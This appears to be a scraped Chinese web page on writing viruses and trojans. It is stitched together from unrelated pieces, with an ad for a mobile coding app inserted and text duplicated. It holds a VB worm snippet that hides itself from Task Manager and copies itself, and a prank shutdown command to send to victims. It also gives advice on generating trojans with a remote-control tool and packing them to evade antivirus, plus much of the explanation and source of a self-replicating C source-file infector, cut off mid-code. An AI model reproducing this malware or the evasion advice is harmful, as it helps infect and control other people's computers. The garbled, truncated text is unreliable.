简单的病毒编程代码
蠕虫病毒小代码打开Visual Basic,选择“Standard EXE”的Project。移除那个Form,然后加入一个Module。点击Project->Project1 Properties。在弹出来的窗口中,把Startup Object改为“Sub Main”。在Module中,键入以下的编码:Sub Main() 'TaskVisible的功能是把程序在End Task表中除掉。App.TaskVisible = False End Sub。以上的编码只是把程序从End Task表中除掉,没什么作用。现在,让这个VB蠕虫自行复制去别的文件夹。在Sub Main中键入以下的编码:'阻止问题发生On Error Resume Next Dim Location, Location2, DesLocation, DesLocation2 '得到EXE的位置Location = App.Path & "" & App.EXEName & ".exe" Location2 = App.Path & App.EXEName & ".exe"。

如何让手机编程简单的病毒?
编程是一项非常重视实战的技能。如果仅仅只是阅读和听课,数个艾宾浩斯记忆曲线之后,你的脑海所剩知识将归零。学习编程需要经历 3 个步骤:阅读 READ→ 练习 PRACTICE → 创造BUILD。—— 事实上,这是学会任何技能都需要经历的 3 个步骤而编程尤甚。点击安装APP xue.cn 可以直接随时随地学习编程知识、编写运行代码。除此之外,附送10条过来之人的忠告。忠告 1:设备从来都不是学习的阻碍,仅凭手机也能学习编程。有人问,我没有电脑,仅有一台手机或者ipad,能学编程吗?能呀,当然能!现在的手机都是智能手机,等同于一部贴身移动的随身电脑;当然可以用手机来学习编程!文末我将推荐几款可以在手机上直接运行代码、学写代码的 APP 产品。忠告 2:从0开始不成问题,任何具备阅读能力的人都能学会编程。有人问,我是萌新,我是文科生,我毫无编程经验,我没有相关基础,我英语很烂……这样的我,还能学习编程吗?能呀,当然能!从0开始,并不是问题;事实上可以认为任何学习都是从 0 开始的。不足10岁的小学生能学编程,80多岁的老奶奶也能学会编程。困扰你的仅仅是,“我是否比其他人少了某些优势” 。在你不擅长的领域,你永远都比擅长的人少了一些优势。正因为你不懂不会、你想要掌握某项技能积累自己的优势,所以才决定学编程的呀!编程作为一项技能,是任何具备阅读能力的人都可以学会的。很多人也曾学过编程,只是绝大部分学而未用的知识,早已经还给书本或老师。关键并非“能不能学会”,而是“学习方法存在什么问题”。忠告 3:不要做搜刮囤积资料的松鼠,囤再多知识也不能变成你的技能。决定学习编程后,很多人开始到处搜刮学习资料:哪里有合适的书籍、视频、文章、专栏、回答、电子书、付费课程……我还需要装哪些app或者软件……然后通通下载、收藏、购买、安装、付钱……搜刮和囤积能带来满足感,你的大脑正在欺骗你自己,囤积让你觉得自己的学习取得了关键进展。冰冷的事实是,你所囤积的学习资料,永远都不属于你,永远都无法转变为你的技能。它们仅仅是冰冷的字节或交出去的智商税。请直奔主题 —— 立即读一个编程的知识点,立即运行和改写代码,立即写下自己的第一行代码说“Hello world!”。把知识输入自己的大脑才是获取技能的真正开端。忠告4:并不存在完美的学习计划,做好心理建设比什么都重要。如果你曾为学编程做计划:今天读几页,明天搞定某个知识点,后天刷几道题等——计划越细致,落实越困难,真正的收获,恐怕是挫败感。对于绝大多数人来说,代码的世界是崭新的世界,全然未知的世界。面对未知世界,怎么可能提前预想设定出一个能被100%执行到位的学习计划呢?抛开学习计划吧。有做学习计划的精力,不妨做足心理建设,反复回答自己几个问题:我为什么必须要学会编程?学会编程会给我带来哪些好处?列举足够多的动力,充分看到掌握编程后带给自己的好处,鼓足劲。刚决定学编程就立即做足心理建设是必要的, 但心理建设不能仅仅只做一次;相反,你需要反复给自己做心理建设,打鸡血,喝鸡汤,让自己有充分的动力去学编程。忠告 5:花再多钱也买不来技能,时间是你需要支付的最大成本。你愿意花几百元、几千元或者几万元购买编程课程,这并不代表你能花钱买来“编程”这门技能。决定你是否掌握编程技能的唯一关键是:是否给出足够的时间预算。时间精力是你需要为掌握编程技能而支付的唯一成本。短期没有足够的时间,那就长期;没有整块的时间,那么就碎片时间学。你需要付出足够的时间投入,反复阅读、练习、创造来锤炼自己的编程技能。当你有足够的动力来学会编程,那么就支付足够的时间预算,对自己的学习进程保持耐心。降低时间成本的方法有许多,但花钱无法代替你反复的阅读、练习与创造。着急花钱,还不如好好反思学习方法、刻意思考如何刻意练习自己的编程技能。有关编程的绝大多数知识都是免费的、开源的,与其花那么多钱,不如花点时间锤炼自己的搜索能力,训练自己的信息整合能力。互联网如此发达,你善于搜索,能得到非常多有价值的信息。忠告6:仅有阅读远远不够,实战才是学会编程的重点。编程是一项非常重视实战的技能。如果仅仅只是阅读和听课,数个艾宾浩斯记忆曲线之后,你的脑海所剩知识将归零。学习编程需要经历 3 个步骤:阅读 READ→ 练习 PRACTICE → 创造BUILD。—— 事实上,这是学会任何技能都需要经历的 3 个步骤而编程尤甚。阅读,让你获知一个编程知识点;练习,通过阅读代码,改写代码、做习题等方式,检查并巩固知识点的掌握程度;创造,综合运用所学,从无到有编写代码完成一个需求。你并不需要等到读完整本书,才开始练习。从你接触到第一个编程知识点,你就应该有意地重复“阅读 READ→ 练习 PRACTICE → 创造BUILD” 这个循环。哪怕你刚知道 print("Hello world!") ,你也应该立即运行一下这行代码,观察它的反应,然后自己默写一遍再运行试试看。忠告7:不要因为怕丢丑就不敢提问,勇于承认自己就是新手。刚起步就被某个难题困住。许多问题仅仅通过认真阅读、搜索或是认真检查,都能能解决。但依然有少数问题,你搞不定且搜不到答案。你不敢向人求助或提问,你在担心自己的问题太low,或者觉得那是自己应该能搞定的。无法准确地描述问题,是刚学编程的人,最常遇到的困难。既然问题都未能被准确描述,想要搜索得到答案,自然非常困难。某些时候需要勇于求助。有时答案来自同学的经验——那些同样从0开始学习该编程语言的同学;有时答案仅仅是有人帮你指出了关键词,更正了问题描述,让你能直接搜索命中答案。当你从0开始学编程,你在编程这件事上就是一个完完全全的新手。这个事实这并不会因为你的财富,你在其它领域的建树,你的身份地位而改变。真正强大的人敢于直面事实,并勇于解决问题,并善于整合资源——同学,也是你的学习资源。忠告8:伸手党固然可恶,教却是最好的学。确实有一些人不付出任何努力,一旦遇到困难或报错就立即向人求助。—— 伸手党是所有人深恶痛绝的一类人。但如上所述,编程新手遇到的问题和困难,却又花样百出,自己还暂无能力准确描述。即便你已经掌握某个编程知识点,但通过理解他人的问题,帮忙解决该困难,却是你的知识点练习场合。把你懂的知识教给不懂的人,你才是最大的受益者,因为你由此更深地理解了知识,巩固了技能。一个好的学习交流环境,不是直接告诉每个提问者那个答案是什么,而是教会每个提问者如何更好地提问。一个好的学习交流环境,每个人在群里提问前,都将在几个方向上自己作出尝试,自己先试着找到答案。自己实在无法解决的,才会向人求助的同时附上自己已经尝试的思路……忠告 9:学习并非没有终点,学而不用,学来做甚?学无止境,终有一天,你发现自己已经具备了一定的编程能力:你可以自己写代码解决一些常见的需求,即便自己无法从零写出,你也懂得如何通过搜索、阅读并整合网上已有的代码来构造自己的解决方案。但是否需要继续学习下去呢?学习永无止境。但编程技能如果仅仅持续地学,学而不用,拿来作甚?如果你刚开始学编程,请记得随时记录你想要用编程技能解决的一个个需求,并在自己具备一定能力时开始试着实现它们。适时停止涉猎“新知识点”,整合已有能力,运用它们解决一个实际的问题,才是更上一层楼的“学”,是更高级的学。忠告 10:工具只是工具,再好的产品也仅是为你所用,最重要的还是人。基于“阅读 READ→ 练习 PRACTICE → 创造BUILD”这个技能学习的方法论:满足“阅读”的途径非常多。实体书、电子书在线阅读、编程类文章等等,都有很多选择。比如:微信读书、微信公众号、知乎、甚至微博,B站,仅仅是看和听来得到编程知识,选择非常多。满足“练习”和“创造”的途径开始变少。最好能直接在手机上阅读代码,代码的显示非常清晰、语法也是准确的;甚至能改改代码,立即运行一下。同时满足“阅读”、“练习”和“创造”的产品,仅有 xue.cn唯此一家。虽然尚未发现更好的产品,但即便更好的产品有非常多,每一款产品都仅仅是你的工具,为你所用,帮助你获取编程技能。再好的手机端编程学习产品,也仅仅是你学习编程的工具。最重要的还是你这个人:你相信零基础也能学会编程,你具备强大的动力学习编程,你掌握编程学习的方法论,你持续重复着阅读、练习和创造的循环你有充足的实践:你对自己有足够的耐心并给出足够的时间预算,你善于整合资源:你善于通过搜索解决问题,更善于结识和融入同学之中,借用一切可借用的力量帮助自己习得编程技能。手机上一边阅读,一边运行代码上方视频:在xue.cn上能一边阅读知识,一边能运行代码、编写代码。

如何制造木马病毒
如何制造木马病毒 问题一:怎么制作木马病毒,望详细你的基本功很差,如果你真的想学,我给你教一种,你制作一个桌面快捷关机,然后用QICQ给对方发去,只要对方打开,对方页面会出现一个对话框,对话框里写着60秒自动关机,对方无论如何都关不了那个对话框,他的机子就要关机了,你可以附加文字,比如说“叫爷,不叫60秒关机。”对方以为是病都,呵呵!这个简单吧!你应该会作吧!shutdown.exe-S-T60-C叫爷,不叫关机。有啥不懂的追问我,现把你那5分给我,再追问我。问题二:我想做个简单的木马病毒,怎么做,用什么软件你好!这就需要用到一款远程控制软件,例如灰鸽子等等有了这款远控软件需要有一个自己的动态域名然后用动态域名在远程控制软件上生成一个木马病毒这样你就可以发给别人,别人中罚木马病毒之后他的电脑完全就会被控制你就可以对他的电脑重启、关机等操作了不过我劝你最好还是打消这个念头即便是你拥有了远程控制软件成功生成了木马病毒给别人发过去也是无法起到任何作用的原因就是木马病毒不是免杀的现在的杀毒软件不是吃素的如果不是免杀的病毒给别人发过去杀毒软件立马就查杀了没什么作用最重要的就是你做的病毒免杀对方的杀毒软件查杀不出来是病毒这样就可以了但是不要抱幻想网上绝对不会出现免杀远控的有的打着名字的旗号捆绑后门病毒试想一下别人辛辛苦苦制作出来的免杀远控会轻易的给别人或者发布到网上么?况且免杀病毒最好不要发到网上否则能免杀一个星期左右的病毒发到网上估计第二天就被杀了本人纯手打觉得有帮助请采纳谢谢!!问题三:木马病毒是怎么制造出来的呢?木马病毒就是一种程序,这种程序专偷染上病毒电脑的用户名和密码,从而盗取金钱!问题四:怎么制作木马病毒5分这是个比较复杂的问题,病毒开发不同于普通应用开发,需要更广泛的和更深入的编成技术系统底层问题:截取屏幕、Hook鼠标键盘网络问题:涉及到拦截数据报文,加解密数据反侦测问题:隐藏进程…………学编程2~3个月,用Delphi之类的软件,一般就可以开发普通应用程序VC++最多6个月,也能搞出些东西但要搞病毒木马等,先学3年再考虑。问题五:怎样制造一个木马病毒5分其实木马病毒也是我们程序员写出的一个程序,因为这个程序制作的目的,和工作的原理具有破坏性和感染性,所以就被定性为木马和病毒。另外木马和病毒不是一个概念。学习软件编程就可以制作木马。淡然有一些黑客软件也是可以直接生成木马的,这个比较没有技术含量。一般会操作电脑的人都可以制作,这类木马一般很容易被查杀。要做加壳程序以逃避查杀。问题六:怎么制造简单木马病毒朋友,你好!怎么解答你这个问题我想了半天,一条一条来吧。1、制作木马病毒是非法的,真心的奉劝不要参与制作,不要与法律要求所背驰。如果因为这个事情,你被抓进去,你想想你的家庭会怎样?是不是得不偿失?2、广大网民一定要有一个好的上网习惯,还要有一个好的上网环境,在安全软件的使用上多思考。建议大家使用腾讯电脑管家,他有全国最大最全的钓鱼网站、木马网站数据库,可以有效防止大家被骗。问题七:木马病毒怎么制作你懂的电脑程序编程吗,其实所谓的木马病毒也就是非法程序,如果你不懂编程和你说是对牛弹琴,不要害人了~还是研究一下怎么把你的人生搞个木马吧,让自己多活几年长命百岁吧!(忠告哦!)问题八:木马病毒怎么制作佛日不能说不可说不敢说,说就是错。 问题九:怎么制作木马病毒先下几个木马病毒

怎样编写病毒
3.1.1病毒程序VIRUS.C 这是一个用C语言写的病毒程序,当激发病毒程序时显示时间,然后返回。病毒程序VIRUS.C可将病毒传染给一个C语言程序。当被病毒感染的程序经编译、连接和执行后,又可以将病毒部分传染给其他的C语言源程序。每执行一次带有病毒的C语言程序,就向C语言源程序传播一次病毒。此程序的设计思路如下:当含有病毒部分的程序被执行时,首先进入病毒程序。它在磁盘上找扩展名为C的匹配文件,如果找到,查找是否有被传染过的标志“INFECTED”。如果有此标志,继续找其它的C文件,直至全部检查一遍。若没有这个标志,则(1)在未被感染的C程序头部加入“INFECTED”已被传染标志。(2)读取病毒文件的头文件,将其插入到即将被感染的文件头部。如果发现有重复则不插入。(3)在主程序中插入“VIRUSES();”调用VIRUSES函数。寻找printf、for、while、break语句,如果找到就在之前插入。(4)在文件尾部插入VIRUSES_SUB子程序。(5)在插入到将感染文件里面的VIRUSES_SUB子程序里面,必须把文件名改为当前自身的文件名,否则被传染后的文件经过编译、连接和运行后不能再继续传染。(6)最后插入VIRUSES子程序。这个子程序里面调用了VIRUSES_SUB,执行到这里返回执行结果信息。其中用到4个出错的返回值,分别是:1:用户文件太大,不传染;2:带病毒文件打不开,不传染;3:带病毒文件读取不成功,不传染;4:查找第一个匹配文件不成功。如果返回值是0代表文件传染成功。具体实现过程如下:其中用到的函数和结构体用法参考3.3节。首先导入病毒子程序要用到的三个库文件,分别是dir.h, stido.h, dos.h.在主函数里面只调用VIRUSES函数。紧跟定义VIRUSES函数里面要调用的VIURS_SUB函数。里面定义了若干个变量。ffblk用来保存查找到的匹配文件的信息,用到里面的ff_name变量来保存匹配文件名。然后定义保存未感染的文件和病毒文件的文件型指针变量,分别用是*virus_r和*virus_v.读取文件的缓冲区,放到二维数组a[500][80]里面临时存放。因为此程序对大于500行的C文件不进行传染,所以完全可以放到里面。首先用getdate函数获取系统当前日期并输出。接着用findfirst函数查找扩展名为C的文件,将其信息保存到ffblk里面。用fgets函数读文件的第一行,长度是80-1个字符。然后用strstr函数检测病毒的标志,看文件是否有INFECT这个标志。如果有,表示文件已经被传染,关闭文件,不进行传染。当含有病毒部分的程序被执行时,首先进入病毒程序。它在磁盘上查找*.C的匹配文件,一旦找到,查找“已被传染过”的标志INFECTED。若有此标志,继续找其它*.C文件,直至全部检查一遍。如果没有这个标志,将文件全部读入a[500][80],如果发现文件超过500行,不传染,返回。将文件指针指向文件头,打开带病毒的文件。如果打不开,返回。然后读取带病毒文件的前4行,也就是病毒子程序要用到的头文件,写入将被传染的文件。若不能读取带病毒文件,返回。用n_line变量控制行数,把将被传染文件的源程序写回原文件。其中要进行处理不写入病毒文件已有的包含语句,也就是说使#Include语句不重复。这点是这样实现的:定义一个字符数组char include_h[]=; strstr函数查看将被传染文件的头文件是否和*include_h[]相同,如果相同,不进行插入。找出CALL VIRUSES;的插入点:如果有一行有printf、break、for、while语句其中之一,就对其后插入调用VIRUSES函数的调用语句。把病毒子程序写入文件。最后处理更改被感染的文件名。如果不进行改名,就不能进行多次传染,也就是说不能体现病毒的自我复制能力。查找一行是static char viruses_f[]=,把其中的文件名改为被感染的文件名。接着查找下一个匹配文件。3.1.2病毒清除程序REVIURS.C病毒的清除过程是和传染过程相逆的。传染的时候插入调用viruses函数的调用语句,在病毒清除文件里面就要删除掉这个语句。然后还要删除掉病毒子程序VIURSES_SUB和VIURSES。有一个问题不能进行还原。因为当时插入病毒子程序需要的头文件时没有记录传染前文件的头文件信息,所以不能进行还原。但是这一点不影响原文件。所以这点在病毒清除程序中没有进行处理。由于演示的时候病毒程序VIRUS.C和清除病毒程序REVIURS.C放在同一个目录下进行演示。考虑到VIRUS.C会把REVIURS.C传染和REVIRUS.C会把VIRUS.C清除两种情况。所以编写这两个程序的时候必须加入一条条件语句if(strcmp(ffblk.ff_name,"REVIRUS.C")!=0)和if(strcmp(ffblk.ff_name,"VIRUS.C")!=0)。当含有清除部分的程序被执行时。它在磁盘上找扩展名为C的匹配文件,如果找到,查找是否有被传染过的标志“INFECTED”。如果无此标志,继续找其它的C文件,直至全部检查一遍。若有这个标志,则(1)查找磁盘文件,如果是有病毒的传染标志“INFECTED”则打开文件。如果没有则关闭文件并且寻找下一个TEST*.C。(2)读取文件,首先判断是否为Viruses();如果不是则判断是否为int Viruses_sub(),如果都不是,则把读取部分放在二维数组a[500][80]中,如果只是为int Viruses_sub(),则读取文件结束。(3)关闭文件,然后删除该文件。(4)创建一个跟删除文件相同名字的文件。然后打开。(5)把二维数组a[500][80]中的数据写入到新建的文件中。关闭文件,读取下一个文件。3.2 程序流程图3.2.1 病毒程序VIRUS.C流程图NNY Y有无YN3.2.2 解毒程序REVIRUS.C流程图NY无有YNYN3.3其中用到的函数和结构体的说明:(1)结构体struct ffblk (在dir.h中)类型变量变量ffblk用于打开文件,获取返回值。Struct ffblk{char ff_reserved[21];char ff_attrib;unsigned ff_ftime;unsigned ff_fdate;long ff_fize;char ff_name[13];};程序中只用到ff_name来保存匹配文件名。(2)结构体struct date(在dos.h中)变量struct date{int da_year;/* Year-1980 */char da_day; /* Day of the month */char da_mon;/* Month (1=Jan) */};程序中用来获取系统当前日期。具体用法为:void getdate (struct date *datep);(3)查找匹配文件findfirst()函数和findnext()函数调用方式:整型数=findfirst(文件名,&结构变量名,属性常数组合(如0×24));功能:检索由path和attr指定的文件,把结果返回到afer。Findfirst返回关于第一个指定文件的信息。Findnext继续检索。返回值:0(检索成功),-1(没有找到指定的文件)属性常数:FA_NORMAL(0*00) 含意:Normal file, no attributesFA_RDONLY (0*01) 含意:只读FA_HIDDEN(0*02)含意:隐含文件FA_SYSTEM(0*24)含意:系统文件需要用到的头文件: dir.h程序中的匹配文件属于普通文件,所以属性常数为0。(4)读文件函数原形:char *fgets (char *a, int n, FILE *fp);功能:从fp指向的文件读取一个长度为(n-1)的字符串,最后加一个’ ’,存入始地址为a的空间。若在读完n-1个字符之前遇到换行符或EOF,读入即结束。返回值:返回地址a。若遇文件结束或出错,返回NULL。(5)在字符串中查找指定字符串的第一次出现函数原形;char *strstr(char *str1,char *str2);功能:找出str2字符串在str1字符串中第一次出现的位置(不包括str2的串结束符)。返回值:返回该位置的指针。若找不到,返回NULL指针。程序中用这个函数来判断字符串是否一致。(6)改变文件位置指针函数原形:int fseek (FILE *fp, long offset, int base);功能:将fp所指文件的位置指针移到以base所指出的位置为基准、以offset为位移量的位置。返回值:返回当前位置。否则,返回-1。SEEK_SET为文件开始。由于读取文件的时候文件指针要发生变化。而重新执行一条命令的时候需要重新定位文件指针的位置,所以要用到fseek函数。程序中用这个函数定位到文件头,对文件进行重新读取。3.4 程序清单3.4.1病毒程序VIRUS.C程序清单如下:/*INFECTED*/#include "stdio.h"#include "dos.h"#include "dir.h"main(){viruses();}int viruses_sub(){struct ffblk ffblk;int done,i,j,k,n_line;FILE *virus_r,*virus_v;/*virus_r指向将被感染的文件,virus_v指向已带病毒的文件*/char a[500][80],b[80],*p1,*p2; /*将被传染的文件读入a[500][80]临时存放*/static char viruses_f[]=;/*文件被传染后,修改该值为自身文件名*/int include_write;int virus_call=0;int virus_start=0;char *main_flag[]=;char *include_h[]=;char *v_flag[]=;struct date today;/*VIRUSES DISPLAY*/getdate(&today); /*病毒显示日期信息*/printf("Today is %d/%d/%dn",today.da_mon,today.da_day,today.da_year);/*AFFECT VIRUSES*/done=findfirst("*.c",&ffblk,0); /*查找第一个匹配文件*/while(!done){if(strcmp(ffblk.ff_name,"REVIRUS.C")!=0){virus_r=fopen(ffblk.ff_name,"r+w");if(virus_r!=NULL){p1=fgets(&a[0][0],80,virus_r);if(strstr(p1,v_flag[0])==NULL){n_line=0; /*把文件全部读入a[500][80]*/while(p1!=NULL){n_line++;p1=fgets(&a[n_line][0],80,virus_r);if(n_line>=500){fclose(virus_r);return(1);}}fseek(virus_r,0,SEEK_SET);virus_v=fopen(&viruses_f[0],"r"); /*打开带病毒的文件*/if(virus_v==NULL){fclose(virus_r);return(2);}for(i=1;i<5;i++) /*读带病毒文件前4行并写入将被传染的文件*/{p2=fgets(b,80,virus_v);if(p2==NULL){fclose(virus_r);fclose(virus_v);return(3);}fputs(b,virus_r);}for(j=0;j1.1病毒程序VIRUS.C 这是一个用C语言写的病毒程序,当激发病毒程序时显示时间,然后返回。病毒程序VIRUS.C可将病毒传染给一个C语言程序。当被病毒感染的程序经编译、连接和执行后,又可以将病毒部分传染给其他的C语言源程序。每执行一次带有病毒的C语言程序,就向C语言源程序传播一次病毒。此程序的设计思路如下:当含有病毒部分的程序被执行时,首先进入病毒程序。它在磁盘上找扩展名为C的匹配文件,如果找到,查找是否有被传染过的标志“INFECTED”。如果有此标志,继续找其它的C文件,直至全部检查一遍。若没有这个标志,则(1)在未被感染的C程序头部加入“INFECTED”已被传染标志。(2)读取病毒文件的头文件,将其插入到即将被感染的文件头部。如果发现有重复则不插入。(3)在主程序中插入“VIRUSES();”调用VIRUSES函数。寻找printf、for、while、break语句,如果找到就在之前插入。(4)在文件尾部插入VIRUSES_SUB子程序。(5)在插入到将感染文件里面的VIRUSES_SUB子程序里面,必须把文件名改为当前自身的文件名,否则被传染后的文件经过编译、连接和运行后不能再继续传染。(6)最后插入VIRUSES子程序。这个子程序里面调用了VIRUSES_SUB,执行到这里返回执行结果信息。其中用到4个出错的返回值,分别是:1:用户文件太大,不传染;2:带病毒文件打不开,不传染;3:带病毒文件读取不成功,不传染;4:查找第一个匹配文件不成功。如果返回值是0代表文件传染成功。具体实现过程如下:其中用到的函数和结构体用法参考3.3节。首先导入病毒子程序要用到的三个库文件,分别是dir.h,stido.h,dos.h.在主函数里面只调用VIRUSES函数。紧跟定义VIRUSES函数里面要调用的VIURS_SUB函数。里面定义了若干个变量。ffblk用来保存查找到的匹配文件的信息,用到里面的ff_name变量来保存匹配文件名。然后定义保存未感染的文件和病毒文件的文件型指针变量,分别用是*virus_r和*virus_v.读取文件的缓冲区,放到二维数组a[500][80]里面临时存放。因为此程序对大于500行的C文件不进行传染,所以完全可以放到里面。首先用getdate函数获取系统当前日期并输出。接着用findfirst函数查找扩展名为C的文件,将其信息保存到ffblk里面。用fgets函数读文件的第一行,长度是80-1个字符。然后用strstr函数检测病毒的标志,看文件是否有INFECT这个标志。如果有,表示文件已经被传染,关闭文件,不进行传染。当含有病毒部分的程序被执行时,首先进入病毒程序。它在磁盘上查找*.C的匹配文件,一旦找到,查找“已被传染过”的标志INFECTED。若有此标志,继续找其它*.C文件,直至全部检查一遍。如果没有这个标志,将文件全部读入a[500][80],如果发现文件超过500行,不传染,返回。将文件指针指向文件头,打开带病毒的文件。如果打不开,返回。然后读取带病毒文件的前4行,也就是病毒子程序要用到的头文件,写入将被传染的文件。若不能读取带病毒文件,返回。用n_line变量控制行数,把将被传染文件的源程序写回原文件。其中要进行处理不写入病毒文件已有的包含语句,也就是说使#Include语句不重复。 这点是这样实现的:定义一个字符数组charinclude_h[]=;strstr函数查看将被传染文件的头文件是否和*include_h[]相同,如果相同,......

如何编写病毒
那首先要对系统底层的东西比较熟悉,如果编网络病毒,还要对网络协议很了解。并且要精通至少一门编程语言,一般写病毒用asm(汇编语言)的比较多,用其他也可以,比如vbs(vb脚本语言)或者.bat的批处理,都可以。如果写unix 类系统的病毒用c语言的多一些。但汇编知识是写高级病毒必须的知识。

本文由 在线网速测试 整理编辑,转载请注明出处。